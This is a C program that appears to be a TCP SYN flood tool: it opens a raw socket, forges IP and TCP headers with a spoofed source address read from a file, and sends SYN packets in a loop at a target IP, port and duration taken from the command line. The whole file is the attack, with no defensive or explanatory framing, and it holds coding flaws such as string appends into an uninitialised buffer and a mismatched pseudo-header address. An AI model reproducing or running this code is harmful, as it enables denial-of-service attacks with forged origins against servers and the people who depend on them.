#include <stdio.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <time.h>
#include <string.h>

// Pseudo header checksum thing
typedef struct pseudo_header {
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;
	struct tcphdr tcp;
};

unsigned short csum(unsigned short *ptr,int nbytes) {
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}

	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(short)~sum;

	return(answer);
}

int main (int argc, char *argv[]) {
	time_t start, now;

	FILE *fp;
	char ch;
	char *src;
	src = malloc(16);

	//Create a raw socket
	int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
	//Datagram to represent the packet
	char datagram[4096];
	//IP header
	struct iphdr *iph = (struct iphdr *) datagram;
	//TCP header
	struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
	struct sockaddr_in sin;
	struct pseudo_header psh;

	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(argv[2]));
	sin.sin_addr.s_addr = inet_addr (argv[1]);

	memset (datagram, 0, 4096);	/* zero out the buffer */

	fp = fopen("ip.txt", "r");

	if(fp == NULL) exit(0);

	while (1) {
		ch = fgetc(fp);

		if(ch == EOF || ch == '\n')
			break;
		else
			strcat(src, &ch);
	}

	close(fp);

	//Fill in the IP Header
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
	iph->id = htonl (54321);	//Id of this packet
	iph->frag_off = 0;
	iph->ttl = 255;
	iph->protocol = IPPROTO_TCP;
	iph->check = 0;		//Set to 0 before calculating checksum
	iph->saddr = inet_addr (src);	//Spoof the source ip address
	iph->daddr = sin.sin_addr.s_addr;

	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);

	//TCP Header
	tcph->source = htons (atoi(argv[2])+1);
	tcph->dest = htons (atoi(argv[2]));
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5;		/* first and only tcp segment */
	tcph->fin=0;
	tcph->syn=1;
	tcph->rst=0;
	tcph->psh=0;
	tcph->ack=0;
	tcph->urg=0;
	tcph->window = htons (5840);	/* maximum allowed window size */
	tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
				should fill in the correct checksum during transmission */
	tcph->urg_ptr = 0;
	//Now the IP checksum

	psh.source_address = inet_addr(argv[1]);
	psh.dest_address = sin.sin_addr.s_addr;
	psh.placeholder = 0;
	psh.protocol = IPPROTO_TCP;
	psh.tcp_length = htons(20);

	memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));

	tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));

	//IP_HDRINCL to tell the kernel that headers are included in the packet
	{
		int one = 1;
		const int *val = &one;
		if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
			printf ("Warning: Cannot set HDRINCL!\n");
	}

	(void) time(&start);
	(void) time(&now);

	while ((int)now-start < atoi(argv[3])) {
		//Send the packet
		if (sendto (s,		/* our socket */
					datagram,	/* the buffer containing headers and data */
					iph->tot_len,	/* total length of our datagram */
					0,		/* routing flags, normally always 0 */
					(struct sockaddr *) &sin,	/* socket addr, just like in */
					sizeof (sin)) < 0)		/* a normal send() */

			{}
		//Data send successfully
		(void) time(&now);
	}

	return 0;
}